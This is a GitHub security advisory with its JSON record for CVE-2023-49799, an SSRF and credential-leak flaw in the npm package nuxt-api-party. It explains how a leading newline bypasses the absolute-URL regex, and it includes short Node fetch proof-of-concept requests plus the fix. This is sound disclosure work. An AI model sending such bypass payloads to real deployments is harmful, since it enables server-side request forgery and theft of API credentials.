GHSA-3WFP-253J-5JXV
Vulnerability from github – Published: 2023-12-12 00:49 – Updated: 2023-12-12 00:49Summary
nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. A previous vulnerability allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF.
This vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF.
Details
nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use a regular expression ^https?://.
This regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com has a leading newline.
According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue." (source)
This means the final request will be normalized to https://whatever.com. We have bypassed the check and nuxt-api-party will send a request outside of the whitelist.
This could allow us to leak credentials or perform SSRF.
PoC
POC using Node.
await fetch("/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "\nhttps://google.com" }),
headers: { "Content-Type": "application/json" }
})
We can use __proto__ as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on endpoint will be undefined.
await fetch("/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "\nhttps://google.com" }),
headers: { "Content-Type": "application/json" }
})
Impact
Leak of sensitive API credentials. SSRF.
Fix
Revert to the previous method of detecting absolute URLs.
if (new URL(path, 'http://localhost').origin !== 'http://localhost') {
// ...
}
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "nuxt-api-party"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.22.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-49799"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2023-12-12T00:49:44Z",
"nvd_published_at": "2023-12-09T00:15:07Z",
"severity": "HIGH"
},
"details": "### Summary\n`nuxt-api-party` allows developers to proxy requests to an API without exposing credentials to the client. [A previous vulnerability](https://huntr.dev/bounties/4c57a3f6-0d0e-4431-9494-4a1e7b062fbf/) allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF. \n\nThis vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF. \n\n### Details\n`nuxt-api-party` attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to [use a regular expression](https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31) `^https?://`.\n\nThis regular expression can be bypassed by an absolute URL with leading whitespace. For example `\\nhttps://whatever.com` has a leading newline. \n\nAccording to the fetch specification, before a fetch is made the URL is normalized. \"To normalize a [byte sequence](https://infra.spec.whatwg.org/#byte-sequence) potentialValue, remove any leading and trailing [HTTP whitespace bytes](https://fetch.spec.whatwg.org/#http-whitespace-byte) from potentialValue.\" ([source](https://fetch.spec.whatwg.org/))\n\nThis means the final request will be normalized to `https://whatever.com`. We have bypassed the check and `nuxt-api-party` will send a request outside of the whitelist. \n\nThis could allow us to leak credentials or perform SSRF.\n\n### PoC\nPOC using Node.\n\n```js\nawait fetch(\"/api/__api_party/MyEndpoint\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\nWe can use `__proto__` as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on `endpoint` will be undefined.\n```js\nawait fetch(\"/api/__api_party/__proto__\", {\n method: \"POST\",\n body: JSON.stringify({ path: \"\\nhttps://google.com\" }),\n headers: { \"Content-Type\": \"application/json\" }\n})\n```\n\n### Impact\nLeak of sensitive API credentials. SSRF.\n\n\n### Fix\nRevert to the previous method of detecting absolute URLs.\n```js\n if (new URL(path, \u0027http://localhost\u0027).origin !== \u0027http://localhost\u0027) {\n // ...\n }\n```\n",
"id": "GHSA-3wfp-253j-5jxv",
"modified": "2023-12-12T00:49:44Z",
"published": "2023-12-12T00:49:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/johannschopplich/nuxt-api-party/security/advisories/GHSA-3wfp-253j-5jxv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-49799"
},
{
"type": "WEB",
"url": "https://github.com/johannschopplich/nuxt-api-party/commit/72762a200fc19d997a0f84bce578c28698dc5270"
},
{
"type": "WEB",
"url": "https://fetch.spec.whatwg.org"
},
{
"type": "WEB",
"url": "https://fetch.spec.whatwg.org/#http-whitespace-byte"
},
{
"type": "PACKAGE",
"url": "https://github.com/johannschopplich/nuxt-api-party"
},
{
"type": "WEB",
"url": "https://github.com/johannschopplich/nuxt-api-party/blob/777462e1e3af1d9f8938aa33f230cd8cb6e0cc9a/src/runtime/server/handler.ts#L31"
},
{
"type": "WEB",
"url": "https://infra.spec.whatwg.org/#byte-sequence"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "SSRF \u0026 Credentials Leak "
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.